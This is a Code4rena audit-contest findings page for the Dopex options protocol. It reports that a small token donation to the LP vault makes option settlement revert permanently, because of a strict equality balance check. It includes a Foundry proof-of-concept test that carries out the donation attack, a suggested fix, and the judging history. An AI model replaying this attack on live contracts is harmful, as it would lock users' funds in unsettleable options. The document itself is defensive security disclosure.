Dopex - auditsea's results

A rebate system for option writers in the Dopex Protocol.

General Information

Platform: Code4rena

Start Date: 21/08/2023

Pot Size: $125,000 USDC

Total HM: 26

Participants: 189

Period: 16 days

Judge: GalloDaSballo

Total Solo HM: 3

Id: 278

League: ETH

Dopex

Findings Distribution

Researcher Performance

Rank: 174/189

Findings: 1

Award: $0.01

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L200-L203

Vulnerability details

Impact

By the behavior of a malicious user, subtractLoss in LP Vault and settle in Vault will always revert, which will result in options not being settled forever.

Proof of Concept

Here's a test case to make settle revert.

  function testSettleDos() public {
    weth.mint(address(1), 1 ether);
    deposit(1 ether, address(1));

    vault.purchase(1 ether, address(this));

    // Malicious code begin
    address attacker = address(0xa77);
    weth.mint(attacker, 1 ether);

    vm.startPrank(attacker);
    weth.transfer(address(vaultLp), 0.01 ether);
    vm.stopPrank();
    // Malicious code end

    uint256[] memory ids = new uint256[](1);
    ids[0] = 0;

    priceOracle.updateRdpxPrice(0.010 gwei); // ITM

    vm.expectRevert("Not enough collateral was sent out");

    vault.settle(ids);
  }

Tools Used

Manual Review

In subtractLoss function, it should be checking with >= instead of ==.

function subtractLoss(uint256 loss) public onlyPerpVault {
  require(
    collateral.balanceOf(address(this)) >= _totalCollateral - loss,
    "Not enough collateral was sent out"
  );
  _totalCollateral -= loss;
}

Assessed type

DoS

#0 - c4-pre-sort

2023-09-09T10:00:36Z

bytes032 marked the issue as duplicate of #619

#1 - c4-pre-sort

2023-09-11T16:15:11Z

bytes032 marked the issue as sufficient quality report

#2 - c4-judge

2023-10-20T19:35:17Z

GalloDaSballo marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter